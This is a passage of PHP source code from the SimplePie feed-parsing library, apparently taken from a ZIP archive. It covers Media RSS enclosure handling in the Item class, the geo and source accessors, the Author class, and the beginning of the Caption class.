                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } else {
                                $restrictions = $restrictions_parent;
                            }

                            // THUMBNAILS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } else {
                                $thumbnails = $thumbnails_parent;
                            }

                            // TITLES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $title = $title_parent;
                            }

                            $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                        }
                    }
                }
            }

            // If we have standalone media:content tags, loop through them.
            if (isset($this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                foreach ((array) $this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                    if (isset($content['attribs']['']['url']) || isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                        // Attributes
                        $bitrate = null;
                        $channels = null;
                        $duration = null;
                        $expression = null;
                        $framerate = null;
                        $height = null;
                        $javascript = null;
                        $lang = null;
                        $length = null;
                        $medium = null;
                        $samplingrate = null;
                        $type = null;
                        $url = null;
                        $width = null;

                        // Elements
                        $captions = null;
                        $categories = null;
                        $copyrights = null;
                        $credits = null;
                        $description = null;
                        $hashes = null;
                        $keywords = null;
                        $player = null;
                        $ratings = null;
                        $restrictions = null;
                        $thumbnails = null;
                        $title = null;

                        // Start checking the attributes of media:content
                        if (isset($content['attribs']['']['bitrate'])) {
                            $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['channels'])) {
                            $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['duration'])) {
                            $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $duration = $duration_parent;
                        }
                        if (isset($content['attribs']['']['expression'])) {
                            $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['framerate'])) {
                            $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['height'])) {
                            $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['lang'])) {
                            $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['fileSize'])) {
                            $length = intval($content['attribs']['']['fileSize']);
                        }
                        if (isset($content['attribs']['']['medium'])) {
                            $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['samplingrate'])) {
                            $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['type'])) {
                            $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['width'])) {
                            $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['url'])) {
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                        }
                        // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                        // CAPTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                $caption_type = null;
                                $caption_lang = null;
                                $caption_startTime = null;
                                $caption_endTime = null;
                                $caption_text = null;
                                if (isset($caption['attribs']['']['type'])) {
                                    $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['lang'])) {
                                    $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['start'])) {
                                    $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['end'])) {
                                    $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['data'])) {
                                    $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                            }
                            if (is_array($captions)) {
                                $captions = array_values(array_unique($captions));
                            }
                        } else {
                            $captions = $captions_parent;
                        }

                        // CATEGORIES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                            foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                $term = null;
                                $scheme = null;
                                $label = null;
                                if (isset($category['data'])) {
                                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($category['attribs']['']['scheme'])) {
                                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                }
                                if (isset($category['attribs']['']['label'])) {
                                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                            }
                        }
                        if (is_array($categories) && is_array($categories_parent)) {
                            $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                        } elseif (is_array($categories)) {
                            $categories = array_values(array_unique($categories));
                        } elseif (is_array($categories_parent)) {
                            $categories = array_values(array_unique($categories_parent));
                        } else {
                            $categories = null;
                        }

                        // COPYRIGHTS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                            $copyright_url = null;
                            $copyright_label = null;
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                        } else {
                            $copyrights = $copyrights_parent;
                        }

                        // CREDITS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                $credit_role = null;
                                $credit_scheme = null;
                                $credit_name = null;
                                if (isset($credit['attribs']['']['role'])) {
                                    $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($credit['attribs']['']['scheme'])) {
                                    $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $credit_scheme = 'urn:ebu';
                                }
                                if (isset($credit['data'])) {
                                    $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                            }
                            if (is_array($credits)) {
                                $credits = array_values(array_unique($credits));
                            }
                        } else {
                            $credits = $credits_parent;
                        }

                        // DESCRIPTION
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                            $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $description = $description_parent;
                        }

                        // HASHES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                $value = null;
                                $algo = null;
                                if (isset($hash['data'])) {
                                    $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($hash['attribs']['']['algo'])) {
                                    $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $algo = 'md5';
                                }
                                $hashes[] = $algo.':'.$value;
                            }
                            if (is_array($hashes)) {
                                $hashes = array_values(array_unique($hashes));
                            }
                        } else {
                            $hashes = $hashes_parent;
                        }

                        // KEYWORDS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                foreach ($temp as $word) {
                                    $keywords[] = trim($word);
                                }
                                unset($temp);
                            }
                            if (is_array($keywords)) {
                                $keywords = array_values(array_unique($keywords));
                            }
                        } else {
                            $keywords = $keywords_parent;
                        }

                        // PLAYER
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
                                $player = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                            }
                        } else {
                            $player = $player_parent;
                        }

                        // RATINGS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                $rating_scheme = null;
                                $rating_value = null;
                                if (isset($rating['attribs']['']['scheme'])) {
                                    $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $rating_scheme = 'urn:simple';
                                }
                                if (isset($rating['data'])) {
                                    $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                            }
                            if (is_array($ratings)) {
                                $ratings = array_values(array_unique($ratings));
                            }
                        } else {
                            $ratings = $ratings_parent;
                        }

                        // RESTRICTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                $restriction_relationship = null;
                                $restriction_type = null;
                                $restriction_value = null;
                                if (isset($restriction['attribs']['']['relationship'])) {
                                    $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['attribs']['']['type'])) {
                                    $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['data'])) {
                                    $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                            }
                            if (is_array($restrictions)) {
                                $restrictions = array_values(array_unique($restrictions));
                            }
                        } else {
                            $restrictions = $restrictions_parent;
                        }

                        // THUMBNAILS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                if (isset($thumbnail['attribs']['']['url'])) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                                }
                            }
                            if (is_array($thumbnails)) {
                                $thumbnails = array_values(array_unique($thumbnails));
                            }
                        } else {
                            $thumbnails = $thumbnails_parent;
                        }

                        // TITLES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                            $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $title = $title_parent;
                        }

                        $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                    }
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }
                    if (isset($link['attribs']['']['title'])) {
                        $title = $this->sanitize($link['attribs']['']['title'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $title = $title_parent;
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width]);
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            foreach ($this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'enclosure') ?? [] as $enclosure) {
                if (isset($enclosure['attribs']['']['url'])) {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($enclosure['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($enclosure));
                    $url = $this->feed->sanitize->https_url($url);
                    if (isset($enclosure['attribs']['']['type'])) {
                        $type = $this->sanitize($enclosure['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($enclosure['attribs']['']['length'])) {
                        $length = intval($enclosure['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) {
                // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
            }

            $this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
        }
        if (!empty($this->data['enclosures'])) {
            return $this->data['enclosures'];
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return string|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the `<atom:source>` for the item
     *
     * @since 1.1
     * @return \SimplePie\Source|null
     */
    public function get_source()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'source')) {
            return $this->registry->create(Source::class, [$this, $return[0]]);
        }

        return null;
    }
}

class_alias('SimplePie\Item', 'SimplePie_Item');
PKWd[Z ��!!src/Author.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages all author-related data
 *
 * Used by {@see Item::get_author()} and {@see SimplePie::get_authors()}
 *
 * This class can be overloaded with {@see SimplePie::set_author_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Author
{
    /**
     * Author's name
     *
     * @var string
     * @see get_name()
     */
    public $name;

    /**
     * Author's link
     *
     * @var string
     * @see get_link()
     */
    public $link;

    /**
     * Author's email address
     *
     * @var string
     * @see get_email()
     */
    public $email;

    /**
     * Constructor, used to input the data
     *
     * @param string $name
     * @param string $link
     * @param string $email
     */
    public function __construct($name = null, $link = null, $email = null)
    {
        $this->name = $name;
        $this->link = $link;
        $this->email = $email;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Author's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }

    /**
     * Author's link
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Author's email address
     *
     * @return string|null
     */
    public function get_email()
    {
        if ($this->email !== null) {
            return $this->email;
        }

        return null;
    }
}

class_alias('SimplePie\Author', 'SimplePie_Author');
PKWd[��OOsrc/Caption.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:text>` captions as defined in Media RSS.
 *
 * Used by {@see \SimplePie\Enclosure::get_caption()} and {@see \SimplePie\Enclosure::get_captions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_caption_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Caption
{
    /**
     * Content type
     *
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * Language
     *
     * @var string
     * @see get_language()
     */
    public $lang;

    /**
     * Start time
     *
     * @var string
     * @see get_starttime()
     */
    public $startTime;

    /**
     * End time
     *
     * @var string
     * @see get_endtime()
     */
    public $endTime;

    /**
     * Caption text
     *
     * @var string
     * @see get_text()
     */
    public $text;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
    {
        $this->type = $type;
        $this->lang = $lang;
        $this->startTime = $startTime;
        $this->endTime = $endTime;
        $this->text = $text;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the end time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_endtime()
    {
        if ($this->endTime !== null) {
            return $this->endTime;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
